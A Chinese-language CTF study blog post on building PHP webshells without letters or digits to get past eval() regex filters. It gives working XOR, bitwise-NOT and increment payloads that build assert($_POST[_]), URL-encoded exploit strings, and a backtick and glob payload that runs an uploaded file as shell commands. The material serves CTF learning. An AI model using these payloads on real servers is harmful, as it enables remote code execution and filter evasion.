无字母数字webshell学习

引用

本文是根据P神的两篇文章进行学习,分别是一些不包含数字和字母的webshell以及无字母数字webshell之提高篇

浅析CTF绕过字符数字构造shell

第一个问题

1
2
3
4
5
6
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}else{
highlight_file(__FILE__);
}

题目在eval()前进行过滤,那我们就得在eval()里得到正常的webshell语句并执行。eval()允许多语句(可分号),这就为我们得到正常的webshell语句提供了很大的操作空间。

首先,核心思路便是将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

该题本文用的是php5的环境

异或

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可

因此我们可以通过该种方法构造出攻击语句,如下:

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

由于含有不可见的字符,所以url编码了

拿去执行,结果如下:

image-20240815160529510

p神的异或有点难,所以我自己网上找到了一个异或的脚本,如下:

1
2
3
4
5
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

运行该脚本我们知道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?

因此到时候做的时候需要什么字符就只要直接从上面的式子进行拼接就好了

取反

与法一思路一致,都是通过字符变换实现webshell。不过这里采用取反的思想,并且在Hackbar上要手动编码一次

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0

当我们自己直接尝试对phpinfo进行取反的时候,会产生不可见字符,因此需要取反后再进行一次url编码

取反的脚本如下:

1
2
3
4
<?php
$a = urlencode(~'phpinfo');
echo $a;
//%8F%97%8F%96%91%99%90

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

这个脚本可以将“assert”变成两个字符串异或的结果,通过更改shell的值可以构造出我们想要的字符串。为了便于表示,生成字符串的范围为33-126(可见字符)。

1
2
3
4
5
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
1
?shell=%24_+%3d+%22!((%25)(%22^%22%40[[%40[\\%22%3b%24__+%3d+%22!%2b%2f((%22^%22~{`{|%22%3b%24___+%3d+%24%24__%3b%24_(%24___[_])%3b

image-20240816173510170

将所有字符进行编码:?shell=%24%5f%3d%22%21%28%28%25%29%28%22%5e%22%40%5b%5b%40%5b%5c%5c%22%3b%24%5f%5f%3d%22%21%2b%2f%28%28%22%5e%22%7e%7b%60%7b%7c%22%3b%24%5f%5f%5f%3d%24%24%5f%5f%3b%24%5f%28%24%5f%5f%5f%5b%5f%5d%29%3b

image-20240816173628823

自增

在不利用位运算符的前提下,解决这道题

众所周知:'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串’a’的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

因为在Php中大小写不敏感,所以我们得到A就可以了,最终执行的是ASSERT($_POST[_]),无需获取小写a):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

编码,执行结果如下:

image-20240816204058987

第二个问题(加强版)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

该题是在环境为php 7.2下进行的

这道题多了两个限制:

  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_

难点呼之欲出了,前面的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量

php7中修改了表达式执行的顺序:http://php.net/manual/zh/migration70.incompatible.php

image-20240816211220452

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

1
(~%8F%97%8F%96%91%99%90)();

image-20240816215820499

但是要是在php5的环境下要怎么办呢,上述的payload是不起作用的

PHP5+shell打破禁锢

本人认为p神对于这个的见解是非常厉害的,十分值得我们学习

image-20240816220142663

确实如他所言,反引号也不属于字母数字,所以我们可以直接利用它来执行系统命令,但是呢:如何利用无字母、数字、$的系统命令来getshell?

P神指了出来两个有趣的Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?

第二个难题接踵而至,执行. file,也是有字母的。此时就可以用到Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么,就可以表示为/*/?????????/???/?????????

但我们尝试执行. /???/?????????,却得到如下错误:

image-20240816220617258

这是因为,能够匹配上/???/?????????这个通配符的文件有很多,我们可以列出来:

那么我们要得到我们需要的文件,就必须进行过滤,有两个方法可以帮助我们:

  • glob支持用[^x]的方法来构造“这个位置不是字符x”
  • 跟正则表达式类似,glob支持利用[0-9]来表示一个范围

(具体上述两种如何操作建议查看p神的文章,这里就不一一赘述了)

在实现了以上过滤后,便可以执行任意命令了,如p神的一个例子:

1
?code=?><?=`. /???/????????[@-[]`;?>
image-20240816221744240

成功执行任意命令